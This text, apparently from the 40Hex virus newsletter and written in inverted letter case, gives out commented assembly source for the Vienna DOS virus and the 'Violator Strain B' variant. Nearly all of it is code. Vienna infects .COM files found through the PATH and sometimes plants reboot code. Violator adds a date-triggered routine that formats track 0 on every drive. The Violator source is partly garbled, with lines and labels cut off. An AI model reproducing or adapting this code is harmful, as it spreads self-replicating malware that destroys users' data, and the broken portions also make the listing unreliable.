tHE vIENNA VIRUS, SINCE IT'S SOURCE CODE WAS RELEASED, HAS BECOME
ONE OF THE MOST COMMON VIRUSES EVER. nOT ONLY THAT BUT THERE ARE
OVER 20 KNOWN STRAINS OF THIS VIRUS. wE AT 40hEX WANT TO ADD ON TO
THE LIST BY GIVING OUT THE SOURCE FOR THE ORGINAL vIENNA VIRUS AS
WELL AS THE vIOL
ATOR-b SOURCE BY rABID.
;*****************************************************************************
;sTART OUT WITH A jmp AROUND THE REMAINS OF THE ORIGINAL .com FILE, INTO THE
;VIRUS. tHE ACTUAL .com FILE WAS JUST AN int 20, FOLLOWED BY A BUNCH OF nops.
;tHE REST OF THE FILE (FIRST 3 BYTES) ARE STORED IN THE VIRUS DATA AREA.
;*****************************************************************************
vcode: jmp VIRUS
;tHIS WAS THE REST OF THE ORIGINAL .com FILE. tINY AND SIMPLE, THIS TIME
;************************************************************
;
tHE ACTUAL VIRUS STARTS HERE
;************************************************************
V_START EQU $
VIRUS: push cx
mov dx,offset VIR_DAT ;tHIS IS WHERE THE VIRUS DATA STARTS.
; tHE 2ND AND 3RD BYTES GET MODIFIED.
cld ;pOINTERS WILL BE AUTO inCREMENTED
mov si,dx ;aCCESS DATA AS OFFSET FROM si
add si,FIRST_3 ;pOINT TO ORIGINAL 1ST 3 BYTES OF .com
mov di,offset 100h ;CAUSE ALL .com FILES START AT 100h
mov cx,3
repz movsb ;rESTORE ORIGINAL FIRST 3 BYTES OF .com
mov si,dx ;kEEP si POINTING TO THE DATA AREA
;*************************************************************
; cHECK THE dos VERSION
;*************************************************************
mov ah,30h
int 21h
cmp al,
0 ;0 MEANS IT'S VERSION 1.x
jnz DOS_OK ;fOR VERSION 2.0 OR GREATER
jmp QUIT ;dON'T TRY TO INFECT VERSION 1.x
;*************************************************************
; hERE IF THE dos VERSION IS HIGH ENOUGH FOR THIS TO WORK
;*************************************************************
DOS_OK: push es
;*************************************************************
; gET dta ADDRESS INTO es:bx
;*************************************************************
mov ah,2fh
int 21h
;*************************************************************
; sAVE THE dta ADDRESS
;*************************************************************
mov [si+OLD_DTA],bx
mov [si+OLD_DTS],es ;sAVE THE dta ADDRESS
pop es
;*************************************************************
; sET dta TO POINT INSIDE THE VIR
US DATA AREA
;*************************************************************
mov dx,DTA ;oFFSET OF NEW dta IN VIRUS DATA AREA
; nop ;masm WILL ADD THIS nop HERE
add dx,si ;cOMPUTE dta ADDRESS
mov ah,1ah
int 21h ;sET NEW dta TO INSIDE OUR OWN CODE
push es
push si
mov es,ds:2ch
mov di,0 ;es:di POINTS TO ENVIRONMENT
;************************************************************
; fIND THE "path=" STRING IN THE ENVIRONMENT
;************************************************************
FIND_PATH:
pop si
push si ;gET si BACK
add si,ENV_STR ;pOINT TO "path=" STRING IN DATA AREA
lodsb
mov cx,offset 8000h ;eNVIRONMENT CAN BE 32768 BYTES LONG
repnz scasb ;sEARCH FOR
FIRST CHARACTER
mov cx,4
;************************************************************
; lOOP TO CHECK FOR THE NEXT FOUR CHARACTERS
;************************************************************
CHECK_NEXT_4:
lodsb
scasb
jnz FIND_PATH ;iF NOT ALL THERE, ABORT & START OVER
loop CHECK_NEXT_4 ;lOOP TO CHECK THE NEXT CHARACTER
pop si
pop es
mov [si+PATH_AD],di ;sAVE THE ADDRESS OF THE path
mov di,si
add di,WRK_SPC ;fILE NAME WORKSPACE
mov bx,si ;sAVE A COPY OF si
add si,WRK_SPC ;pOINT si TO WORKSPACE
mov di,si ;pOINT di TO WORKSPACE
jmp short SLASH_OK
;**********************************************************
; lOOK IN THE path FOR MORE SUBDIRECTORIES, IF ANY
;**********************************************************
SET
_SUBDIR:
cmp word ptr [si+PATH_AD],0 ;iS path STRING ENDED?
jnz FOUND_SUBDIR ;iF NOT, THERE ARE MORE SUBDIRECTORIES
jmp ALL_DONE ;eLSE, WE'RE ALL DONE
;**********************************************************
; hERE IF THERE ARE MORE SUBDIRECTORIES IN THE PATH
;**********************************************************
FOUND_SUBDIR:
push ds
push si
mov ds,es:2ch ;ds POINTS TO ENVIRONMENT SEGMENT
mov di,si
mov si,es:[di+PATH_AD] ;si = path ADDRESS
add di,WRK_SPC ;di POINTS TO FILE NAME WORKSPACE
;***********************************************************
; mOVE SUBDIRECTORY NAME INTO FILE NAME WORKSPACE
;***********************************************************
MOVE_SUBDIR:
lodsb ;gET CHARACTER
cmp al,';' ;iS IT A ';' DELIMITER?
jz
MOVED_ONE ;yES, FOUND ANOTHER SUBDIRECTORY
cmp al,0 ;eND OF path STRING?
jz MOVED_LAST_ONE ;yES
stosb ;sAVE path MARKER INTO [di]
jmp short MOVE_SUBDIR
;******************************************************************
; mARK THE FACT THAT WE'RE LOOKING THROUGH THE FINAL SUBDIRECTORY
;******************************************************************
MOVED_LAST_ONE:
mov si,0
;******************************************************************
; hERE AFTER WE'VE MOVED A SUBDIRECTORY
;******************************************************************
MOVED_ONE:
pop bx ;pOINTER TO VIRUS DATA AREA
pop ds ;rESTORE ds
mov [bx+PATH_AD],si ;aDDRESS OF NEXT SUBDIRECTORY
nop
;******************************************************************
; mAKE
SURE SUBDIRECTORY ENDS IN A "\"
;******************************************************************
cmp ch,'\' ;eNDS WITH "\"?
jz SLASH_OK ;iF YES
mov al,'\' ;aDD ONE, IF NOT
stosb
;******************************************************************
; hERE AFTER WE KNOW THERE'S A BACKSLASH AT END OF SUBDIR
;******************************************************************
SLASH_OK:
mov [bx+NAM_PTR],di ;sET FILENAME POINTER TO NAME WORKSPACE
mov si,bx ;rESTORE si
add si,F_SPEC ;pOINT TO "*.com"
mov cx,6
repz movsb ;mOVE "*.com",0 TO WORKSPACE
mov si,bx
;*******************************************************************
; fIND FIRST STRING MATCHING *.com
;*******************************************************************
mov a
h,4eh
mov dx,WRK_SPC
; nop ;masm WILL ADD THIS nop HERE
add dx,si ;dx POINTS TO "*.com" IN WORKSPACE
mov cx,3 ;aTTRIBUTES OF rEAD oNLY OR hIDDEN ok
int 21h
jmp short FIND_FIRST
;*******************************************************************
; fIND NEXT asciiz STRING MATCHING *.com
;*******************************************************************
FIND_NEXT:
mov ah,4fh
int 21h
FIND_FIRST:
jnb FOUND_FILE ;jUMP IF WE FOUND IT
jmp short SET_SUBDIR ;oTHERWISE, GET ANOTHER SUBDIRECTORY
;*******************************************************************
; hERE WHEN WE FIND A FILE
;*******************************************************************
FOUND_FILE:
mov ax,[si+DTA_TIM] ;gET TIME FROM dta
and al,1fh
;mASK TO REMOVE ALL BUT SECONDS
cmp al,1fh ;62 SECONDS -> ALREADY INFECTED
jz FIND_NEXT ;iF SO, GO FIND ANOTHER FILE
cmp word ptr [si+DTA_LEN],offset 0fa00h ;iS THE FILE TOO LONG?
ja FIND_NEXT ;iF TOO LONG, FIND ANOTHER ONE
cmp word ptr [si+DTA_LEN],0ah ;iS IT TOO SHORT?
jb FIND_NEXT ;tHEN GO FIND ANOTHER ONE
mov di,[si+NAM_PTR] ;di POINTS TO FILE NAME
push si ;sAVE si
add si,DTA_NAM ;pOINT si TO FILE NAME
;********************************************************************
; mOVE THE NAME TO THE END OF THE PATH
;********************************************************************
MORE_CHARS:
lodsb
stosb
cmp al,0
jnz MORE_CHARS ;mOVE CHARACTERS UNTIL WE FIND A 00
;******************************
**************************************
; gET fILE aTTRIBUTES
;********************************************************************
pop si
mov ax,offset 4300h
mov dx,WRK_SPC ;pOINT TO \PATH\NAME IN WORKSPACE
; nop ;masm WILL ADD THIS nop HERE
add dx,si
int 21h
mov [si+OLD_ATT],cx ;sAVE THE OLD ATTRIBUTES
;********************************************************************
; rEWRITE THE ATTRIBUTES TO ALLOW WRITING TO THE FILE
;********************************************************************
mov ax,offset 4301h ;sET ATTRIBUTES
and cx,offset 0fffeh ;sET ALL EXCEPT "READ ONLY" (WEIRD)
mov dx,WRK_SPC ;oFFSET OF \PATH\NAME IN WORKSPACE
; nop ;masm WILL ADD THIS nop HERE
add dx,si ;pOINT TO \PATH\NAME
int 21h
;********************************************************************
; oPEN rEAD/wRITE CHANNEL TO THE FILE
;********************************************************************
mov ax,offset 3d02h ;rEAD/wRITE
mov dx,WRK_SPC ;oFFSET TO \PATH\NAME IN WORKSPACE
; nop ;masm WILL ADD THIS nop HERE
add dx,si ;pOINT TO \PATH\NAME
int 21h
jnb OPENED_OK ;iF FILE WAS OPENED ok
jmp FIX_ATTR ;iF IT FAILED, RESTORE THE ATTRIBUTES
;*******************************************************************
; gET THE FILE DATE & TIME
;*******************************************************************
OPENED_OK:
mov bx,ax
mov ax,offset 5700h
int 21h
mov [si+OLD_TIM],cx ;sAVE FILE TIME
mov [si+OL_DATE],dx
;sAVE THE DATE
;*******************************************************************
; gET CURRENT SYSTEM TIME
;*******************************************************************
mov ah,2ch
int 21h
and dh,7 ;lAST 3 BITS 0? (ONCE IN EIGHT)
jnz SEVEN_IN_EIGHT
;*******************************************************************
; tHE SPECIAL "ONE IN EIGHT" INFECTION. iF THE ABOVE LINE WERE IN
; ITS ORIGINAL FORM, THIS CODE WOULD BE RUN 1/8 OF THE TIME, AND
; RATHER THAN APPENDING A COPY OF THIS VIRUS TO THE .com FILE, THE
; FILE WOULD GET 5 BYTES OF CODE THAT REBOOT THE SYSTEM WHEN THE
; .com FILE IS RUN.
;*******************************************************************
mov ah,40h ;wRITE TO FILE
mov cx,5 ;fIVE BYTES
mov dx,si
add dx,REBOOT ;oFFSET OF REBOOT CODE IN DATA AREA
int 21h
jmp short FIX_TIME_STAMP
nop
;******************************************************************
; hERE'S WHERE WE INFECT A .com FILE WITH THIS VIRUS
;******************************************************************
SEVEN_IN_EIGHT:
mov ah,3fh
mov cx,3
mov dx,FIRST_3
; nop ;masm WILL ADD THIS nop HERE
add dx,si
int 21h ;sAVE FIRST 3 BYTES INTO THE DATA AREA
jb FIX_TIME_STAMP ;qUIT, IF READ FAILED
cmp ax,3 ;wERE WE ABLE TO READ ALL 3 BYTES?
jnz FIX_TIME_STAMP ;qUIT, IF NOT
;******************************************************************
; mOVE FILE POINTER TO END OF FILE
;******************************************************************
mov ax,offset 4202h
mov cx,0
mov dx,0
int 21h
jb FIX_TIME_STAMP ;qUIT, IF IT
DIDN'T WORK
mov cx,ax ;dx:ax (LONG INT) = FILE SIZE
sub ax,3 ;sUBTRACT 3 (ok, SINCE dx MUST BE 0, HERE)
mov [si+JMP_DSP],ax ;sAVE THE DISPLACEMENT IN A jmp INSTRUCTION
add cx,offset C_LEN_Y
mov di,si ;pOINT di TO VIRUS DATA AREA
sub di,offset C_LEN_X
;pOINT di TO REFERENCE VIR_DAT, AT START OF PGM
mov [di],cx ;mODIFY VIR_DAT REFERENCE:2ND, 3RD BYTES OF PGM
;*******************************************************************
; wRITE VIRUS CODE TO FILE
;*******************************************************************
mov ah,40h
mov_cx VIRLEN ;lENGTH OF VIRUS, IN BYTES
mov dx,si
sub dx,offset CODELEN ;lENGTH OF VIRUS CODE, GIVES STARTING
; ADDRESS OF VIRUS CODE IN MEMORY
int 21h
;**********************************************************************
; mOVE FILE POINTER TO BEGINNING OF THE FILE
;**********************************************************************
mov ax,offset 4200h
mov cx,0
mov dx,0
int 21h
jb FIX_TIME_STAMP ;jUMP IF ERROR
;**********************************************************************
; wRITE THE 3 BYTE jmp AT THE START OF THE FILE
;**********************************************************************
mov ah,40h
mov cx,3
mov dx,si ;vIRUS DATA AREA
add dx,JMP_OP ;pOINT TO THE RECONSTRUCTED jmp
int 21h
;**********************************************************************
;
rESTORE OLD FILE DATE & TIME, WITH SECONDS MODIFIED TO 62
;**********************************************************************
FIX_TIME_STAMP:
mov dx,[si+OL_DATE] ;oLD FILE DATE
mov cx,[si+OLD_TIM] ;oLD FILE TIME
and cx,offset 0ffe0h
or cx,1fh ;sECONDS = 31/30 MIN = 62 SECONDS
mov ax,offset 5701h
int 21h
;**********************************************************************
; cLOSE fILE
;**********************************************************************
mov ah,3eh
int 21h
;**********************************************************************
; rESTORE oLD fILE aTTRIBUTES
;**********************************************************************
FIX_ATTR:
mov ax,offset 4301h
mov cx,[si+OLD_ATT] ;oLD aTTRIBUTES
mov dx,WRK_SPC
; nop
;masm WILL ADD THIS nop
add dx,si ;dx POINTS TO \PATH\NAME IN WORKSPACE
int 21h
;**********************************************************************
; hERE WHEN IT'S TIME TO CLOSE IT UP & END
;**********************************************************************
ALL_DONE:
push ds
;**********************************************************************
; rESTORE OLD dta
;**********************************************************************
mov ah,1ah
mov dx,[si+OLD_DTA]
mov ds,[si+OLD_DTS]
int 21h
pop ds
;*************************************************************************
; cLEAR REGISTERS USED, & DO A WEIRD KIND OF jmp 100. tHE WEIRDNESS COMES
; IN SINCE THE ADDRESS IN A REAL jmp 100 IS AN OFFSET, AND THE OFFSET
; VARIES FROM ONE INFECTED FILE TO THE NEXT. bY pushING AN 0100h ONTO THE
; STACK, WE CAN ret T
O ADDRESS 0100h JUST AS THOUGH WE jmpED THERE.
;**********************************************************************
QUIT:
pop cx
xor ax,ax
xor bx,bx
xor dx,dx
xor si,si
mov di,offset 0100h
push di
xor di,di
ret 0ffffh
;************************************************************************
;tHE VIRUS DATA STARTS HERE. iT'S ACCESSED OFF THE si REGISTER, PER THE
; COMMENTS AS SHOWN
;************************************************************************
VIR_DAT equ $
;uSE THIS WITH (si + OLD_DTA)
OLDDTA_ dw 0 ;oLD dta OFFSET
;uSE THIS WITH (si + OLD_DTS)
OLDDTS_ dw 0 ;oLD dta SEGMENT
;uSE THIS WITH (si + OLD_TIM)
OLDTIM_ dw 0 ;oLD tIME
;uSE THIS WITH (si + OL_DATE)
OLDATE_ dw 0 ;oLD DATE
;uSE THIS WITH (si + OLD_ATT)
O
LDATT_ dw 0 ;oLD FILE ATTRIBUTES
;hERE'S WHERE THE FIRST THREE BYTES OF THE ORIGINAL .com FILE GO.(si + FIRST_3)
FIRST3_ equ $
int 20h
nop
;hERE'S WHERE THE NEW jmp INSTRUCTION IS WORKED OUT
;uSE THIS WITH (si + JMP_OP)
JMPOP_ db 0e9h ;sTART OF jmp INSTRUCTION
;uSE THIS WITH (si + JMP_DSP)
JMPDSP_ dw 0 ;tHE DISPLACEMENT PART
;tHIS IS THE TYPE OF FILE WE'RE LOOKING TO INFECT. (si + F_SPEC)
FSPEC_ db '*.com',0
;uSE THIS WITH (si + PATH_AD)
PATHAD_ dw 0 ;pATH ADDRESS
;uSE THIS WITH (si + NAM_PTR)
NAMPTR_ dw 0 ;pOINTER TO START OF FILE NAME
;uSE THIS WITH (si + ENV_STR)
ENVSTR_ db 'path=' ;fIND THIS IN THE ENVIRONMENT
;fILE NAME WORKSPACE (si + WRK_SPC)
WRKSPC_ db 40H DUP (0)
;uSE THIS WITH (si + DTA)
DTA_ db 16H DUP (0)
;tEMPORARY dta GOES HERE
;uSE THIS WITH (si + DTA_TIM)
DTATIM_ dw 0,0 ;tIME STAMP IN dta
;uSE THIS WITH (si + DTA_LEN)
DTALEN_ dw 0,0 ;fILE LENGTH IN THE dta
;uSE THIS WITH (si + DTA_NAM)
DTANAM_ db 0dH DUP (0) ;fILE NAME IN THE dta
;uSE THIS WITH (si + REBOOT)
REBOOT_ db 0eah,0f0h,0ffh,0ffh,0ffh ;fIVE BYTE far jmp TO ffff:fff0
LST_BYT equ $ ;aLL LINES THAT ASSEMBLE INTO CODE ARE
; ABOVE THIS ONE
;*****************************************************************************
;tHE VIRUS NEEDS TO KNOW A FEW DETAILS ABOUT ITS OWN SIZE AND THE SIZE OF ITS
; CODE PORTION. lET THE ASSEMBLER FIGURE OUT THESE SIZES AUTOMATICALLY.
;*****************************************************************************
VIRLEN = LST_BYT - V_START ;lENGTH, IN BYTES, OF THE ENTIRE VIRUS
CODELEN = VIR_DA
T - V_START ;lENGTH OF VIRUS CODE, ONLY
C_LEN_X = VIR_DAT - V_START - 2 ;dISPLACEMENT FOR SELF-MODIFYING CODE
C_LEN_Y = VIR_DAT - V_START + 100h ;cODE LENGTH + 100H, FOR psp
;*****************************************************************************
;bECAUSE THIS CODE IS BEING APPENDED TO THE END OF AN EXECUTABLE FILE, THE
; EXACT ADDRESS OF ITS VARIABLES CANNOT BE KNOWN. aLL ARE ACCESSED AS OFFSETS
; FROM si, WHICH IS REPRESENTED AS VIR_DAT IN THE BELOW DECLARATIONS.
;*****************************************************************************
OLD_DTA = OLDDTA_ - VIR_DAT ;dISPLACEMENT TO THE OLD dta OFFSET
OLD_DTS = OLDDTS_ - VIR_DAT ;dISPLACEMENT TO THE OLD dta SEGMENT
OLD_TIM = OLDTIM_ - VIR_DAT ;dISPLACEMENT TO OLD FILE TIME STAMP
OL_DATE = OLDATE_ - VIR_DAT ;dISPLACEMENT TO OLD FILE DATE STAMP
OLD_ATT = OLDATT_ - VIR_DAT ;dISPLACEMENT TO OLD ATTRIBUTES
FIRST_3 = FIRST3_ - VIR_DAT ;dI
SPLACEMENT-1ST 3 BYTES OF OLD .com
JMP_OP = JMPOP_ - VIR_DAT ;dISPLACEMENT TO THE jmp OPCODE
JMP_DSP = JMPDSP_ - VIR_DAT ;dISPLACEMENT TO THE 2ND 2 BYTES OF jmp
F_SPEC = FSPEC_ - VIR_DAT ;dISPLACEMENT TO THE "*.com" STRING
PATH_AD = PATHAD_ - VIR_DAT ;dISPLACEMENT TO THE PATH ADDRESS
NAM_PTR = NAMPTR_ - VIR_DAT ;dISPLACEMENT TO THE FILENAME POINTER
ENV_STR = ENVSTR_ - VIR_DAT ;dISPLACEMENT TO THE "path=" STRING
WRK_SPC = WRKSPC_ - VIR_DAT ;dISPLACEMENT TO THE FILENAME WORKSPACE
DTA = DTA_ - VIR_DAT ;dISPLACEMENT TO THE TEMPORARY dta
DTA_TIM = DTATIM_ - VIR_DAT ;dISPLACEMENT TO THE TIME IN THE dta
DTA_LEN = DTALEN_ - VIR_DAT ;dISPLACEMENT TO THE LENGTH IN THE dta
DTA_NAM = DTANAM_ - VIR_DAT ;dISPLACEMENT TO THE NAME IN THE dta
REBOOT = REBOOT_ - VIR_DAT ;dISPLACEMENT TO THE 5 BYTE REBOOT CODE
------------------------------------------------------------------------------
;*****************************************************************************
;
; vIOLATOR - sTRAIN b
;
;*****************************************************************************
;
; (aUG/09/90)
;
; dEVELOPMENT nOTES:
;
; i ENCOUNTERED SEVERAL ERRORS IN THE ORIGINAL vIOLATOR CODE WHICH i
; CORRECTED IN THIS VERSION. mAINLY, THE int 26 ROUTINE TO FUCK THE
; DISK. iT SEEMS THAT THE ROUTINE WOULD CRASH RIGHT AFTER THE int 26
; WAS EXECUTED AND THE WHOLE PROGRAM WOULD DIE. i HAVE SINCE FIXED
; THIS PROBLEM IN THIS VERSION WITH AN int 13, ah 05 (fORMAT tRACK)
; COMMAND. tHIS WORKS BETTER THAN THE SUBSEQUENT int 26.
;
;
;*****************************************************************************
;
; wRITTEN BY -
pROGRAMMER
;
; rEVISED BY: �oNSLAUGHT�
; nO AFFILIATION WITH RABiD
;
; cOPYRIGHT (c) 1990 BY rabid nAT'NL dEVELOPMENT cORP.
;
;*****************************************************************************
mov_cx macro x
db 0b9h
dw x
endm
code segment
assume ds:code,ss:code,cs:code,es:code
org $+0100h ; sET org TO 100h PLUS OUR OWN
VIRUS: push cx
mov dx,offset VIR_DAT
cld
mov si,dx
add si,FIRST_3
mov cx,3
mov di,offset 100h
repz movsb
mov si,dx
mov ah,30h
int 21h
cmp al,0
mov [si+OLD_DTS],es
pop es
mov dx,DTA
add dx,si
mov ah,1ah
int 21h
push es
push si
mov es,ds:2ch
mov di,0
jmp YEAR_CHECK
YEAR_CHECK:
mov ah,2ah ;gET DATE INFO
int 21h ;cALL dos
cmp cx,1990 ;cHECK TO SEE IF THE YEAR IS 1990
jge MONTH_CHECK ;iF GREATER OR EQUAL, CHECK MONTH
jmp FIND_PATH ;iF NOT, GO ON WITH INFECTION
MONTH_CHECK:
mov ah,2ah ;gET DATE INFO
int 21H ;cALL dos
cmp dh,10 ;cHECK TO SEE IF IT IS sEPTEMBER
jge DAY_CHECK ;iF GREATER OR EQUAL, CHECK DAY
jmp FIND_PATH ;IF NOT, GO ON WITH INFECTION
DAY_CHECK:
mov ah,2aH
LTER ;gO AND KILL THE DRIVE
;25 IS DRIVE z:
cmp CNTR,25 ;iS (CNTR) 25 ?
je FIND_PATH ;gO ON WITH INFECTION
inc CNTR ;aDD ONE TO (CNTR)
loop MULTIPLEX ;lOOP BACK UP TO KILL NEXT DRIVE
ALTER:
mov ah,05 ;fORMAT tRACK
mov ch,0 ;fORMAT TRACK 0
mov dh,0 ;hEAD 0
mov dl,CNTR ;fORMAT FOR DRIVE IN (CNTR)
int 13H ;cALL rwts
ret ;rETURN UP FOR NEXT DRIVE
FIND_PATH:
pop si
push si
add si,ENV_STR
lodsb
mov cx,offset 8000h
repnz scasb
mov cx,4
CHECK_NEXT_4:
lodsb
scasb
;
; tHE jnz LINE SPECIFIES THAT IF THERE IS NO path PRESENT, THEN WE WILL GO
; ALONG AND INFECT THE root DIRECTORY ON
mov [si+PATH_AD],di
mov di,si
add di,WRK_SPC ;pUT THE FILENAME IN WRK_SPC
mov bx,si
add si,WRK_SPC
mov di,si
jmp short SLASH_OK
SET_SUBDIR:
cmp word ptr [si+PATH_AD],0
jnz FOUND_SUBDIR
jmp ALL_DONE
FOUND_SUBDIR:
push ds
push si
mov ds,es:2ch
mov di,si
mov si,es:[di+PATH_AD]
add di,WRK_SPC ;di IS THE FILE NAME TO INFECT! (HEHE)
MOVE_SUBDIR:
lodsb ;tO TEDIOUS WORK TO MOVE INTO SUBDIR
cmp al,';' ;dOES IT END WITH A ; CHARACHTER?
jz MOVED_ONE ;IF YES, THEN WE FOUND A SUBDIR
cmp al,0 ;IS IT THE END OF THE PATH?
jz MOVED_LAST_ONE ;IF YES, THEN WE SAVE THE path
stosb ;MARKER INTO di FOR FUTURE REFERENCE
jmp short MOVE_SUBDIR
MOVED_LAST_ONE:
mov si,0
MOVED_ONE:
pop bx ;bx IS WHERE THE VIRUS DATA IS
pop ds ;rESTORE ds SO THAT WE CAN DO STUPH
mov [bx+PATH_AD],si ;wHERE IS THE NEXT SUBDIR?
nop
cmp ch,'\' ;cHECK TO SEE IF IT ENDS IN \
jz SLASH_OK ;iF YES, THEN IT'S ok
mov al,'\' ;IF NOT, THEN ADD ONE...
stosb ;STORE THE SUCKER
SLASH_OK:
mov [bx+NAM_PTR],di ;mOVE THE FILENAME INTO WORKSPACE
mov si,bx ;rESTORE THE ORIGINAL si VALUE
add si,F_SPEC ;pOINT TO com FILE VICTIM
mov cx,6
repz movsb ;mOVE VICTIM INTO WORKSPACE
mov si,bx
mov ah,4eh
mov dx,WRK_SPC
add dx,si ;dx IS
ov cx,3 ;aTTRIBUTES OF rEAD oNLY OR hIDDEN ok
int 21h
jmp short FIND_FIRST
FIND_NEXT:
mov ah,4fh
int 21h
FIND_FIRST:
jnb FOUND_FILE ;jUMP IF WE FOUND IT
jmp short SET_SUBDIR ;oTHERWISE, GET ANOTHER SUBDIRECTORY
FOUND_FILE:
mov ax,[si+DTA_TIM] ;gET TIME FROM dta
and al,1eh ;mASK TO REMOVE ALL BUT SECONDS
cmp al,1eh ;60 SECONDS
jz FIND_NEXT
cmp word ptr [si+DTA_LEN],offset 0fa00h ;iS THE FILE TOO LONG?
ja FIND_NEXT ;iF TOO LONG, FIND ANOTHER ONE
cmp word ptr [si+DTA_LEN],0ah ;iS IT TOO SHORT?
jb FIND_NEXT ;tHEN GO FIND ANOTHER ONE
mov di,[si+NAM_PTR]
push si
add si,DTA_NAM
MORE_CHARS:
lodsb
stosb
cmp al,0
jnz MORE_CHARS
p
op si
mov ax,offset 4300h
mov dx,WRK_SPC
add dx,si
int 21h
mov [si+OLD_ATT],cx
mov ax,offset 4301h
and cx,offset 0fffeh
mov dx,WRK_SPC
add dx,si
int 21h
mov ax,offset 3d02h
mov dx,WRK_SPC
add dx,si
int 21h
jnb OPENED_OK
jmp FIX_ATTR
OPENED_OK:
mov bx,ax
mov ax,offset 5700h
int 21h
mov [si+OLD_TIM],cx ;sAVE FILE TIME
mov [si+OL_DATE],dx ;sAVE THE DATE
mov ah,2ch
int 21h
and dh,7
jmp INFECT
INFECT:
mov ah,3fh
mov cx,3
mov dx,FIRST_3
add dx,si
int 21h ;sAVE FIRST 3 BYTES INTO THE DATA AREA
jb FIX_TIME_STAMP
cmp ax,3
jnz FIX_TIME_STAMP
mov ax,offset 4202h
mov cx,0
mov dx,0
int 21h
jb FIX_TIME_STAMP
mov cx,ax
sub ax,3
mov [si+JMP_DSP],ax
add cx,offset C_LEN_Y
mov di,si
sub di,offset C_LEN_X
ALL_DONE:
push ds
mov ah,1ah
mov dx,[si+OLD_DTA]
mov ds,[si+OLD_DTS]
int 21h
pop ds
QUIT:
pop cx
xor ax,ax ;xor VALUES SO THAT WE WILL GIVE THE
xor bx,bx ;POOR SUCKER A HARD TIME TRYING TO
xor dx,dx ;REASSEMBLE THE SOURCE CODE IF HE
xor si,si ;DECIDES TO DISSASSEMBLE US.
mov di,offset 0100h
push di
xor di,di
ret 0ffffh ;rETURN BACK TO THE BEGINNING
;OF THE PROGRAM
